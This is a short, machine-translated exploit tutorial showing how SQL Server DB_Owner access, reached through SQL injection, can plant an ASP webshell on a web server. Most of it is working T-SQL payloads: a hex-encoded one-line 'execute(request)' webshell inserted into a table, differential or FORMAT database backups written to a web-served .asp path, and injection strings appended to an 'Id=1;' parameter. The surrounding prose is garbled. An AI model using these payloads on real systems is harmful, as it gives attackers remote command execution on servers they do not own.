DB_Owner permissions get Webshell My two-point improvement _ Vulnerability Research

Reduce backup file size, get executable Webshell success rate improved a lot, a use of differential backup
Add a parameter with differential declare @a sysname,@s nvarchar (4000) Select @a=db_name (), @s= 0X77006F006B0061006F002E00620061006B00 Backup Database @a to Disk=@s

CREATE TABLE [dbo]. [Xiaolu] ([cmd] [image]);

Insert into Xiaolu (cmd) VALUES (0x3c25657865637574652872657175657374282261222929253e)

DECLARE @a sysname,@s nvarchar (4000) Select @a=db_name (), @s= 0x65003a005c007700650062005c0077006f006b0061006f002e00610073007000 Backup Database @a to disk=@s with DIFFERENTIAL

Two uses the complete format
Add a parameter with Fromat
Some pages to the database to perform several times, and the default is to append each time, if an injection point to the database several operations, and the backup of the file is multiplied, so declare @a sysname,@s nvarchar (4000) Select @a=db_ Name (), @s=0x77006f006b0061006f002e00620061006b00 Backup database @a to Disk=@s

CREATE TABLE [dbo]. [Xiaolu] ([cmd] [image]);

Insert into Xiaolu (cmd) VALUES (0x3c25657865637574652872657175657374282261222929253e)

DECLARE @a sysname,@s nvarchar (4000) Select @a=db_name (), @s= 0x65003a005c007700650062005c0077006f006b0061006f002e00610073007000 Backup Database @a to disk=@s with FORMAT

In general, this is a simple sentence, below the backup database model as an example
1
Id=1;use Model CREATE TABLE cmd (str image); insert into cmd (str) VALUES (' <%25execute (Request ("a"))%25> ')
2
Id=1;backup Database model to disk= ' your path ' with differential,format;--